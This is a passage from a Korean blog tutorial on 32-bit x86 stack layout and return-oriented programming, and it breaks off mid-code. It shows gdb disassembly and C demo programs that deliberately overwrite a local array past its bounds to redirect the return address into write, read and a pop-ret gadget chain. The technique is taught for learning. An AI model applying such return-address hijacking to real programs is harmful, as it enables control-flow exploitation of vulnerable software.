/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x080491ad&amp;nbsp;&amp;lt;+15&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;&amp;nbsp;&amp;nbsp;0x11&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x080491af&amp;nbsp;&amp;lt;+17&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4e9a06;&quot;&gt;call&amp;nbsp;&amp;nbsp;&amp;nbsp;0x8049180&amp;nbsp;&amp;lt;function2&amp;gt;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x080491b4&amp;nbsp;&amp;lt;+22&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp,0x8&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x080491b7&amp;nbsp;&amp;lt;+25&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;&amp;nbsp;&amp;nbsp;0x23&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x080491b9&amp;nbsp;&amp;lt;+27&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;&amp;nbsp;&amp;nbsp;0x22&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x080491bb&amp;nbsp;&amp;lt;+29&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;&amp;nbsp;&amp;nbsp;0x21&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x080491bd&amp;nbsp;&amp;lt;+31&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4e9a06;&quot;&gt;call&amp;nbsp;&amp;nbsp;&amp;nbsp;0x804918a&amp;nbsp;&amp;lt;function3&amp;gt;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x080491c2&amp;nbsp;&amp;lt;+36&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp,0xc&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x080491c5&amp;nbsp;&amp;lt;+39&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;&amp;nbsp;&amp;nbsp;0x34&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x080491c7&amp;nbsp;&amp;lt;+41&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;&amp;nbsp;&amp;nbsp;0x33&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x080491c9&amp;nbsp;&amp;lt;+43&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;&amp;nbsp;&amp;nbsp;0x32&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x080491cb&amp;nbsp;&amp;lt;+45&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;&amp;nbsp;&amp;nbsp;0x31&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x080491cd&amp;nbsp;&amp;lt;+47&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4e9a06;&quot;&gt;call&amp;nbsp;&amp;nbsp;&amp;nbsp;0x8049194&amp;nbsp;&amp;lt;function4&amp;gt;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x080491d2&amp;nbsp;&amp;lt;+52&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp,0x10&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x080491d5&amp;nbsp;&amp;lt;+55&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;eax,0x0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x080491da&amp;nbsp;&amp;lt;+60&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;leave&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x080491db&amp;nbsp;&amp;lt;+61&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;ret&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;End&amp;nbsp;of&amp;nbsp;assembler&amp;nbsp;dump.&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;call 실행 이후 esp를 증가시킨다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;최적화 옵션을 끈 상태에서 컴파일하면, 함수는 인자에 접근하기 위해 ebp 레지스터를 사용한다. (최적화 옵션을 키면 esp를 사용한다)&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;다음 예시로 이 사실을 확인할 수 있다. ebp+0 은 SFP를 가리키며, ebp+4는 RET이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;1&lt;br /&gt;2&lt;br /&gt;3&lt;br /&gt;4&lt;br /&gt;5&lt;br /&gt;6&lt;br /&gt;7&lt;br /&gt;8&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;add&lt;/span&gt;(&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;x&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;y&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;x&lt;/span&gt;+&lt;span style=&quot;color: #9cdcfe;&quot;&gt;y&lt;/span&gt;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;main&lt;/span&gt;()&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;add&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;2&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;;&lt;br /&gt;}&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;peda-highlighter&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas,'Liberation Mono',Menlo,Courier,monospace !important;&quot;&gt;
&lt;table class=&quot;peda-highlighter&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #300a24;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #ffffff;&quot;&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;gdb-peda$&amp;nbsp;&lt;/span&gt;pd&amp;nbsp;add&lt;br /&gt;Dump&amp;nbsp;of&amp;nbsp;assembler&amp;nbsp;code&amp;nbsp;for&amp;nbsp;function&amp;nbsp;add:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x08049176&amp;nbsp;&amp;lt;+0&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;&amp;nbsp;&amp;nbsp;ebp&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x08049177&amp;nbsp;&amp;lt;+1&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ebp,esp&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x08049179&amp;nbsp;&amp;lt;+3&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;edx,DWORD&amp;nbsp;PTR&amp;nbsp;[ebp+0x8]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x0804917c&amp;nbsp;&amp;lt;+6&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;eax,DWORD&amp;nbsp;PTR&amp;nbsp;[ebp+0xc]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x0804917f&amp;nbsp;&amp;lt;+9&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;eax,edx&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x08049181&amp;nbsp;&amp;lt;+11&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pop&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ebp&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x08049182&amp;nbsp;&amp;lt;+12&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;ret&lt;/span&gt;&lt;br /&gt;End&amp;nbsp;of&amp;nbsp;assembler&amp;nbsp;dump.&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;ROP 32bit :: Basic&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;ROP로 함수를 1개 호출하는 과정을 살펴보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;최적화 옵션을 끄면 함수가 인자에 접근하기 위한 기준으로 ebp가 사용된다. 함수 프롤로그 &lt;code&gt;push ebp ; mov ebp, esp&lt;/code&gt; 으로 ebp가 기존의 esp가 되기 때문에, 아래처럼 payload를 구성해서 인자를 전달할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;Picture1.png&quot; data-origin-width=&quot;2338&quot; data-origin-height=&quot;863&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pu1jK/btqE76tOnRy/TU4xeKUgXi3N9cYkTyLlX1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pu1jK/btqE76tOnRy/TU4xeKUgXi3N9cYkTyLlX1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pu1jK/btqE76tOnRy/TU4xeKUgXi3N9cYkTyLlX1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fpu1jK%2FbtqE76tOnRy%2FTU4xeKUgXi3N9cYkTyLlX1%2Fimg.png&quot; data-filename=&quot;Picture1.png&quot; data-origin-width=&quot;2338&quot; data-origin-height=&quot;863&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;아래 코드는 ROP로 write를 사용해 문자열을 출력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;1&lt;br /&gt;2&lt;br /&gt;3&lt;br /&gt;4&lt;br /&gt;5&lt;br /&gt;6&lt;br /&gt;7&lt;br /&gt;8&lt;br /&gt;9&lt;br /&gt;10&lt;br /&gt;11&lt;br /&gt;12&lt;br /&gt;13&lt;br /&gt;14&lt;br /&gt;15&lt;br /&gt;16&lt;br /&gt;17&lt;br /&gt;18&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;#include&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;lt;stdint.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;#include&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;buf&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;Hello&amp;nbsp;ROP&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\n&lt;/span&gt;&quot;&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;void&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;function&lt;/span&gt;()&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;uint32_t&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;2&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;write&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;3&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0xAAAAAAAA&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;4&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;5&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;buf&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;6&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0xA&lt;/span&gt;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;main&lt;/span&gt;()&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;function&lt;/span&gt;();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;;&lt;br /&gt;}&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;ROP 32bit :: ROP Chain&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;64bit와 다르게 인자가 stack으로 전달되기 때문에, 함수를 연속해서 호출하려면 esp의 위치를 맞춰 줘야 한다. 이것은 &lt;code&gt;pop [reg] ; ret&lt;/code&gt; gadget을 사용해 해결할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;아래 그림은 ROP로 인자가 각각 3개, 2개인 함수 2개를 호출하는 것을 도식화한 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;Picture1.png&quot; data-origin-width=&quot;3905&quot; data-origin-height=&quot;1276&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cJNEeq/btqE6MXu4wo/jlkzOstnna9vFcaxq1q7D1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cJNEeq/btqE6MXu4wo/jlkzOstnna9vFcaxq1q7D1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cJNEeq/btqE6MXu4wo/jlkzOstnna9vFcaxq1q7D1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcJNEeq%2FbtqE6MXu4wo%2FjlkzOstnna9vFcaxq1q7D1%2Fimg.png&quot; data-filename=&quot;Picture1.png&quot; data-origin-width=&quot;3905&quot; data-origin-height=&quot;1276&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;아래 코드는 read로 문자열을 입력받고 printf로 출력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;1&lt;br /&gt;2&lt;br /&gt;3&lt;br /&gt;4&lt;br /&gt;5&lt;br /&gt;6&lt;br /&gt;7&lt;br /&gt;8&lt;br /&gt;9&lt;br /&gt;10&lt;br /&gt;11&lt;br /&gt;12&lt;br /&gt;13&lt;br /&gt;14&lt;br /&gt;15&lt;br /&gt;16&lt;br /&gt;17&lt;br /&gt;18&lt;br /&gt;19&lt;br /&gt;20&lt;br /&gt;21&lt;br /&gt;22&lt;br /&gt;23&lt;br /&gt;24&lt;br /&gt;25&lt;br /&gt;26&lt;br /&gt;27&lt;br /&gt;28&lt;br /&gt;29&lt;br /&gt;30&lt;br /&gt;31&lt;br /&gt;32&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;#include&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;lt;stdint.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;#include&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;#include&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;buf&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x10&lt;/span&gt;];&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;void&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;gadget&lt;/span&gt;()&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;__asm&lt;/span&gt;&amp;nbsp;(&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;pop&amp;nbsp;%ebx&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\n\t&lt;/span&gt;&quot;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;pop&amp;nbsp;%ecx&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\n\t&lt;/span&gt;&quot;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;pop&amp;nbsp;%ebp&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\n\t&lt;/span&gt;&quot;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;ret&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\n\t&lt;/span&gt;&quot;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;void&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;function&lt;/span&gt;()&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;uint32_t&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;2&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;read&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;3&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;(&lt;span style=&quot;color: #4ec9b0;&quot;&gt;uint32_t&lt;/span&gt;)&lt;span style=&quot;color: #dcdcaa;&quot;&gt;gadget&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;3&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;4&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;5&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: 